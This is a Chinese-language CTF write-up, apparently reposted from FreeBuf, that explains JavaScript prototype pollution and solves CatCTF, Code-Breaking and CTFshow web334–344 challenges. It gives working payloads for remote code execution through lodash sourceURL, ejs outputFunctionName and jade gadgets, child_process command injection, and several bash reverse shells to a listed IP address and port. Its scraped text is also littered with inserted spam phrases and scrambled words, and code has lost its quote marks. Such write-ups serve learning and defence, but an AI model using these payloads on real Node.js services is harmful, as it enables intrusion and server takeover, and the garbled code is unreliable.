前言

Node.js之前并未有太多了解，浅析最近遇上了一些相关题目，型链发现原型链污染是污染其一个常考点，在学习后对其进行了简单总结，浅析希望对正在学习的型链师傅有所帮助

Node.js

原型链污染

首先强推这篇文章https://developer.mozilla.org/，读完后就会对原型链有个大致的污染了解，对后面学习非常有帮助。浅析所以说什么是型链原型链污染呢？

偏官方一点的解释如下

在JavaScript中，每个对象都有一个原型，污染它是浅析一个指向另一个对象的引用。当我们访问一个对象的型链属性时，如果该对象没有这个属性，污染JavaScript引擎会在它的浅析原型对象中查找这个属性。这个过程会一直持续，型链直到找到该属性或者到达原型链的污染末尾。攻击者可以利用这个特性，通过修改一个对象的原型链，来污染程序的行为。例如，攻击者可以在一个对象的原型链上设置一个恶意的属性或方法，免费信息发布网当程序在后续的执行中访问该属性或方法时，就会执行攻击者的恶意代码。

简单的说呢，其实就是我们对原链中的某个属性进行了污染，向其中插入恶意代码，当我们再调用这个链（也就是使用这个对象）时，我们的恶意代码就会被触发，此时就达到了一个执行恶意代码的效果。说到原型链污染，那就肯定离不开__proto__和prototype,所以接下来我们需要了解一下这两个是什么东西。

__proto__和prototype

在JavaScript中，每个对象都有一个名为__proto__的内置属性，它指向该对象的原型。同时，每个函数也都有一个名为 prototype 的属性，它是一个对象，包含构造函数的原型对象应该具有的属性和方法。简单来说，企商汇__proto__ 属性是指向该对象的原型，而 prototype属性是用于创建该对象的构造函数的原型。

这么说有点抽象，因此这里举个例子来进行说明，首先我们打开谷歌浏览器，F12，切换到控制台，而后我们写入如下代码

复制function Person(name) { this.name = name;}Person.prototype.greet = function() { console.log(`Hello, my name is ${this.name}`);};const person1 = new Person(Alice);person1.greet(); // 输出 "Hello, my name is Alice"1.2.3.4.5.6.7.8.9.10.

在例子中，我们创建了一个名为 Person的构造函数，并将prototype上的greet设置为一个打招呼的函数。当我们创建一个名为person1的实例时，它会继承Person.prototype对象上的greet方法。因此，当我们调用person1.greet()时，它会输出 "Hello, my name is Alice"。

从这里就可以看出，prototype是类Person的一个属性，所有用类Person进行实例化的对象，都会拥有prototype的全部内容。香港云服务器

我们实例化出来的person1对象，它是不能通过prototype访问原型的，但通过__proto__就可以实现访问Person原型，具体代码如下

复制console.log(person1.__proto__ === Person.prototype); // 输出 true1.

总结（摘自https://www.leavesongs.com）1、prototype是一个类的属性，所有类对象在实例化的时候将会拥有prototype中的属性和方法2、一个对象的__proto__属性，指向这个对象所在的类的prototype属性

他们的关系图如下所示

具体过程

那么什么是原型链污染呢我们这里用一个简单例子来对其进行说明

复制var a = {number : 520}var b = {number : 1314}b.__proto__.number=520var c= {}c.number1.2.3.4.5.

对这里的情况需要进行简单说明，我们可以看到在我们进行b.__proto__.number=520 操作后，即使是内容为空的c，调用number属性仍存在且值为我们设定的520，这时就达到了一个原型链污染的目的。接下来再说一下可能部分师傅有疑问的点

一、为什么执行过b.__proto__.number=520 后，我们输出b的值，其值仍为1314

这是因为在JavaScript中存在这样一种继承机制：我们这里调用b.number时，它的具体调用过程是如下所示的

复制1

、在b对象中寻找number属性

2、当在b对象中没有找到时，它会在b.__proto__

中寻找number属性

3、如果仍未找到，此时会去b.__proto__.__proto__中寻找number属性1.2.3.

也就是说，它从自身开始寻找，然后一层一层向上递归寻找，直到找到或是递归到null为止，此机制被称为JavaScript继承链，我们这里的污染的属性是在b.__proto__中，而我们的b对象本身就有number，所以其值并未改变。

二、为什么新建的值为空的c对象，调用c.number竟然有值而且为我们设定的520

当明白上个问题时，这个问题也就迎刃而解了，我们这里的c对象虽然是空的，但JavaScript继承链的机制就会使它继续递归寻找，此时也就来到了c.__proto__中寻找number属性，我们刚刚进行了原型链污染，它的c.__proto__其实就是Object.protoype，而我们进行污染的b.__proto__也是Object.prototype，所以此时它调用的number就是我们刚刚污染的属性，所以这也就是为什么c .number=520

它常见于当存在函数（其功能是将一个数组的内容复制到另一个数组中）的情况下，示例如下

复制function merge(target, source) { for (let key in source) { if (key in source && key in target) { //

如果target与source有相同的键名 则让target的键值为source的键值

merge(target[key], source[key]) } else { target[key] = source[key] //

如果target与source没有相通的键名 则直接在target新建键名并赋给键值

} }}let o1 = {}let o2 = JSON.parse{a: 1, "__proto__": {b: 2}}merge(o1, o2)console.log(o1.a, o1.b)o3 = {}console.log(o3.b)1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.

这里的话可以看到我们的o3内容为空，但调用b属性也是成功输出了2，说明我们刚刚的原型链污染成功了，这里也说一下可能部分师傅有疑问的点。

一、为什么要加JSON.parse，这个函数有什么作用，不加会怎么样？

这是因为，JSON解析的情况下，__proto__会被认为是一个真正的键名，而不代表原型，所以在遍历o2的时候会存在这个键。当不加的时候，他就会认为他是一个原型，此时情况如下

所以这也就是我们需要添加这个函数的原因

小拓展（js大小写特性）

对于toUpperCase()函数

复制字符"ı"、"ſ" 经过toUpperCase处理后结果为 "I"、"S"1.

对于toLowerCase

复制字符"K"经过toLowerCase处理后结果为"k"(这个K不是K)1.

详情可见https://www.leavesongs.com/

实战

CatCTF 2022 wife

环境参考https://adworld.xctf.org.cn/challenges/list打开题目

发现是一个登录界面，给出了注册界面，点击注册界面，可以发现需要一个邀请码

如果没有邀请码的话，我们进去是这个样子

此时如果考虑到JS原型链污染的话，就变得简单了，应该是我们越权拿到管理员权限，从而获取flag，其注册界面源码如下所示（比赛时是黑盒，这里并未给出源码）

复制app.post(/register, (req, res) => { let user = JSON.parse(req.body) if (!user.username || !user.password) { return res.json({ msg: empty username or password, err: true }) } if (users.filter(u => u.username == user.username).length) { return res.json({ msg: username already exists, err: true }) } if (user.isAdmin && user.inviteCode != INVITE_CODE) { user.isAdmin = false return res.json({ msg: invalid invite code, err: true }) } let newUser = Object.assign({}, baseUser, user) users.push(newUser) res.json({ msg: user created successfully, err: false })})1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.

我们这里注意到Object.assign方法，他类似之前示例说的clone函数，Object.assign这个方法是可以触发原型链污染的，所以我们这里污染__proto__.isAdmin为 true 就可以了。

复制{"__proto__":{"isAdmin":true}1.

此时便可越权拿到flag

Code-Breaking 2018 Thejs

源码参考https://code-breaking.com/puzzle/9/#promo-block搭建环境的话，先安装一下express框架

复制cnpm i express -S1.

而后再安装一下lodash模块即可

复制npm install lodash1.

而后通过node server.js即可开启题目环境

环境如下

接下来简单看一下代码

复制#server.jsconst fs = require(fs)const express = require(express)const bodyParser = require(body-parser)const lodash = require(lodash)const session = require(express-session)const randomize = require(randomatic)const app = express()app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())app.use(/static, express.static(static))app.use(session({ name: thejs.session, secret: randomize(aA0, 16), resave: false, saveUninitialized: false}))app.engine(ejs, function (filePath, options, callback) { //

define the template engine

fs.readFile(filePath, (err, content) => { if (err) return callback(new Error(err)) let compiled = lodash.template(content) let rendered = compiled({...options}) return callback(null, rendered) })})app.set(views, ./views)app.set(view engine, ejs)app.all(/, (req, res) => { let data = req.session.data || {language: [], category: []} if (req.method == POST) { data = lodash.merge(data, req.body) req.session.data =

data

} res.render(index, { language: data.language, category: data.category })})app.listen(3000, () => console.log(`Example app listening on port 3000!`))1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.19.20.21.22.23.24.25.26.27.28.29.30.31.32.33.34.35.36.37.38.39.40.41.42.43.

首先我们这里可以发现存在merge函数

复制if (req.method == POST) { data = lodash.merge(data, req.body) req.session.data =

data

}1.2.3.4.

这里的含义也是比较简单，即将我们POST提交的信息，通过merge合并到session中，最终我们所有提交的信息都会被保存到session中去，那么存在这个merge函数的话，说明我们可以进行原型链污染，那么我们污染的参数该是什么呢，我们这个时候看这几行代码

复制fs.readFile(filePath, (err, content) => { if (err) return callback(new Error(err)) let compiled = lodash.template(content) let rendered = compiled({...options})1.2.3.4.

可以发现其对内容进行了lodash.template处理，我们跟进这个函数，具体代码可见https://github.com/lodash

可以发现这个sourceURL当没有值的时候就是一个空的状态，而当其有值时，就会取当前的这个值，我们看接下来他怎么处理

可以发现这里被放入了Function的第二个参数，此时我们就可以实现代码执行了。

所以我们污染的参数就是sourceURL，具体Payload如下所示

复制{"__proto__" : {"sourceURL" : "\r\n return e => {for (var a in {} ) {delete Object.prototype[a];}return global.process.mainModule.constructor._load(child_process).execSync(dir)}\r\n//"}}1.

这里需要注意，我们的ConType-type需要修改为application/json，这样才能让__proto__成为键值而非原型，之所以可以直接这样修改是因为express框架支持根据Content-Type来解析请求Body。

同时，这里之所以不用require的原因如下

Function 环境下没有 require 函数，直接使用require(child_process) 会报错，所以我们要用 global.process.mainModule.constructor._load 来代替。

CTFshow系列

web334

给了一个附件(zip)，打开的话是两个文件，具体内容如下

复制#user.jsmodule.exports = { items: [ {username: CTFSHOW, password: 123456} ]};1.2.3.4.5.6. 复制#login.jsvar express = require(express);var router = express.Router();var users = require(../modules/user).items;var findUser = function(name, password){ return users.find(function(item){ return name!==CTFSHOW && item.username === name.toUpperCase() && item.password === password; });};/* GET home page. */router.post(/, function(req, res, next) { res.type(html); var flag=flag_here; var sess = req.session; var user = findUser(req.body.username, req.body.password); if(user){ req.session.regenerate(function(err) { if(err){ return res.json({ret_code: 2, ret_msg: 登录失败}); } req.session.loginUser = user.username; res.json({ret_code: 0, ret_msg: 登录成功,ret_flag:flag}); }); }else{ res.json({ret_code: 1, ret_msg: 账号或密码错误}); }});module.exports = router;1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.19.20.21.22.23.24.25.26.27.28.29.30.31.32.33.34.

这里看到user.js里给出了账密，接下来我们在看login.js，这里的话可以看到对账号进行了一个toUpperCase()函数处理，这个函数的作用是将小写字符全部改为大写字符，如下图所示

因此我们这里的话账号是CTFSHOW，我们只需要输入ctfshow，他就可以变成CTFSHOW辣

web335方法一

进入后环境如下

没看到有什么有用信息，这个时候查看一下源代码看看有没有有用信息

发现提示了eval参数，这个时候我们就需要看一个东西了，即如何在Node.js执行命令

http://nodejs.cn/api/child_process.html在其中可以看到这个函数

这个只需要写入命令即可，因此我们对其进行简单尝试

复制eval=require(child_process).execSync(ls)1.

成功执行命令，接下来尝试获取flag

复制eval=require(child_process).execSync(cat f*)1.

方法二

还有另一个函数

这个spawnSync函数的话是需要两个参数，返回值是一个可选项，但当返回值不填时，默认返回的是Object，所以这里其实是三个参数，即命令，命令的参数，以及返回格式，比如我们这里想执行ls .，那我们这里就可以写成spawnSync(ls,[.]).output，接下来尝试在靶场中执行

复制eval=require(child_process).spawnSync(ls,[.]).output1.

成功执行，接下来查看flag

复制eval=require(child_process).spawnSync(tac,[fl00g.txt]).output1.

web336

和上关的环境相似，这里尝试上关的payload

方法一 复制eval=require(child_process).execSync(cat f*)1.

回显tql，一眼顶真，这是某些字符串被过滤掉了，这里的话感觉应该是execSync，我们这里可以采用拼接的方法来进行绕过，然后本来的话是.execSync，我们这里可以修改为[exe+Sync]，小知识[xxx]=.xxx，因此我们这里尝试一下这个方法

复制eval=require(child_process)[exe%2BcSync](ls)

//+号进行了URL编码，这是因为不编码的话+会被解析为空格1.2.

同理，查看flag

方法二

用上面的第二个函数(spawnSync)可正常执行命令

复制eval=require(child_process).spawnSync(cat,[fl001g.txt]).output1.

web 337

题目给出了源代码，如下所示

复制var express = require(express);var router = express.Router();var crypto = require(crypto);function md5(s) { return crypto.createHash(md5) .update(s) .digest(hex);}/* GET home page. */router.get(/, function(req, res, next) { res.type(html); var flag=xxxxxxx; var a = req.query.a; var b = req.query.b; if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){ res.end(flag); }else{ res.render(index,{ msg: tql}); }});module.exports = router;1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.19.20.21.22.23.24.25.

重点在于

复制if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){ res.end(flag);1.2.

md5的绕过，这里可以采用数组绕过的方式，构造如下语句即可

复制a[]=1&b=11.

也可以采用这个payload

复制a[a]=1&b[b]=121.

这是因为此时题目两个打印出来的是一致的，都是Object，所以

传传a[0]=1&b[0]=2不行是因为当我们这样传的时候相当于创了个变量a=[1] b=[2]，此时的结果

web338

这里给出了源代码，其中的login.js文件内容如下

复制var express = require(express);var router = express.Router();var utils = require(../utils/common);/* GET home page. */router.post(/, require(body-parser).json(),function(req, res, next) { res.type(html); var flag=flag_here; var secert = {}; var sess = req.session; let user = {}; utils.copy(user,req.body); if(secert.ctfshow===36dboy){ res.end(flag); }else{ return res.json({ret_code: 2, ret_msg: 登录失败+JSON.stringify(user)}); }});module.exports = router;1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.19.20.21.22.23.24.

这个用到了utils里的copy函数，我们这里看一下utils中comman.js文件里的内容

复制module.exports = { copy:

copy

};function copy(object1, object2){ for (let key in object2) { if (key in object2 && key in object1) { copy(object1[key], object2[key]) } else { object1[key] = object2[key] } } }1.2.3.4.5.6.7.8.9.10.11.12.13.

这个的话就是一个简单的赋值，看这里就能猜出考察点是Node.js的原型污染，这里我们如果key是__proto__，就可以实现一个属性污染，这里要求的条件secert.ctfshow===36dboy，如果我们去设置一个"__proto__":"ctfshow:36dboy",它首先在secret中寻找，没找到ctfshow，就会往上继续找，此时就会找到Object，因为Object.prototype中有ctfshow，所以此时我们就满足了条件，成功绕过

web339方法一 复制#login.js

部分代码

router.post(/, require(body-parser).json(),function(req, res, next) { res.type(html); var flag=flag_here; var secert = {}; var sess = req.session; let user = {}; utils.copy(user,req.body); if(secert.ctfshow===flag){ res.end(flag); }else{ return res.json({ret_code: 2, ret_msg: 登录失败+JSON.stringify(user)}); }1.2.3.4.5.6.7.8.9.10.11.12.13.

单看这个login.js的话，我们这里不知道flag，肯定是无法满足secert.ctfshow===flag的与上题相似，但这里的api.js内容中有这样一串代码

复制router.post(/, require(body-parser).json(),function(req, res, next) { res.type(html); res.render(api, { query: Function(query)(query)});});1.2.3.4.

如果我们可以自定义query的内容，就可以实现RCE，所以我们这里的话就用原型链污染来修改__proto__的值，具体payload如下

复制{"__proto__":{"query":"return global.process.mainModule.constructor._load(child_process).exec(bash -c "bash -i >& /dev/tcp/xxx.xx.xxx.xxx/xxxxx 0>&1")"}}1.

接下来去访问api接口，从而调用这个query

此时查看我们监听的7777端口，成功反弹shell

复制cat login.js|grep flag1.

方法二

这个题使用了ejs模板，对于ejs模板RCE我们这里的话可以看一下这两篇文章https://evi0s.com/https://xz.aliyun.com/t/7184#toc-7里面对其进行了具体分析，我比较菜，没大看懂，只知道最后的方法的话就是对一个名为outputFunctionName的成员进行赋值，其内容是我们的恶意代码，然后我们再次请求，就可以触发这个代码的执行，具体payload如下

复制"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(child_process).exec(bash -c "bash -i >& /dev/tcp/IP地址/监听端口 0>&1");var __tmp2"}1.

此时已成功写入恶意代码，接下来刷新一下界面即可成功反弹shell

web340

这里的话环境和上关类似，但login.js中的内容略有改动，具体如下

复制/* GET home page. */router.post(/, require(body-parser).json(),function(req, res, next) { res.type(html); var flag=flag_here; var user = new function(){ this.userinfo = new function(){ this.isVIP = false; this.isAdmin = false; this.isAuthor = false; }; } utils.copy(user.userinfo,req.body); if(user.userinfo.isAdmin){ res.end(flag); }else{ return res.json({ret_code: 2, ret_msg: 登录失败}); }});1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.19.20.

改动点在于utils.copy(user.userinfo,req.body);，原本是user的，所以说也就是原型链多了一层，我们再套一层即可，本来的原型链应该是

复制user.__proto__->Object.__proto__1.

现在变成了

复制user.userinfo__proto->user.__proto__->Object.__proto__1.

因此我们这里在上一关的payload基础上多加一个__proto__即可，具体payload如下

复制{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load(child_process).exec(bash -c "bash -i >& /dev/IP地址/监听端口 0>&1")"}}}1.

而后POST发包访问/api接口

查看是否成功反弹shell

web341

这里缺少了api.js，这样的话就说明没法再去用之前的方法来做了，但考虑到这里的ejs模板，所以这里的话应该是用ejs来进行反弹shell的，尝试用此payload进行反弹shell，与之前payload相似，多套一层__proto__，具体payload如下

复制{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require(child_process).exec(bash -c "bash -i >& /dev/tcp/124.222.255.142/7777 0>&1");var __tmp2"}}}1.2.

而后刷新一下界面，以此来执行我们的恶意代码，接下来查看VPS是否成功反弹shell

这里的话flag没有在这里，需要我们自己找一下

复制find / |

grep flag

cat /flag1.2.

Web342

jade的原型链污染，参考链接https://xz.aliyun.com/t/7025，由于node.js了解较少，所以这里参考其他师傅的payload进行尝试，等学会node.js再对具体代码进行分析，payload如下

复制{"__proto__":{"__proto__":{"type":"Code","self":1,"line":"global.process.mainModule.require(child_process).execSync(bash -c "bash -i >& /dev/tcp/124.222.255.142/7777 0>&1")"}}}1.

接下来刷新界面，查看监vps

成功反弹shell，接下来查看flag即可

Web343

说是增加了过滤，但仍沿用上一关payload，亦可打通

Web344

源码如下

复制router.get(/, function(req, res, next) { res.type(html); var flag = flag_here; if(req.url.match(/8c|2c|\,/ig)){ res.end(where is flag :)); } var query = JSON.parse(req.query.query); if(query.name===admin&&query.password===ctfshow&&query.isVIP===true){ res.end(flag); }else{ res.end(where is flag. :)); }});1.2.3.4.5.6.7.8.9.10.11.12.13.14.

可以看到我们这里需要满足三个条件

复制1、query.name===admin2、query.password===ctfshow3、query.isVIP===true1.2.3.

我们这里平常的话如果没有过滤的话，直接这样写payload就可以

复制query={"name":"admin","password":"ctfshow","isVIP":true}1.

但这里存在过滤(req.url.match(/8c|2c|\,/ig))，%2c是,，所以我们这里不能再用逗号，我们这里可以使用&&来代替它，但此时发现还不行，这是因为:"ctfshow这里，这个"的编码是%22，而它和c连起来，此时就是%22c，此时就有2c了，所以不满足条件，因此我们这里需要对c进行一次URL编码，所以最终payload是

复制query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}1.

参考文章

https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html#0x02-javascripthttps://xz.aliyun.com/t/7182#toc-7https://blog.csdn.net/miuzzx/article/details/111780832https://xz.aliyun.com/t/7184#toc-11

本文作者：quan9i， 转载请注明来自FreeBuf.COM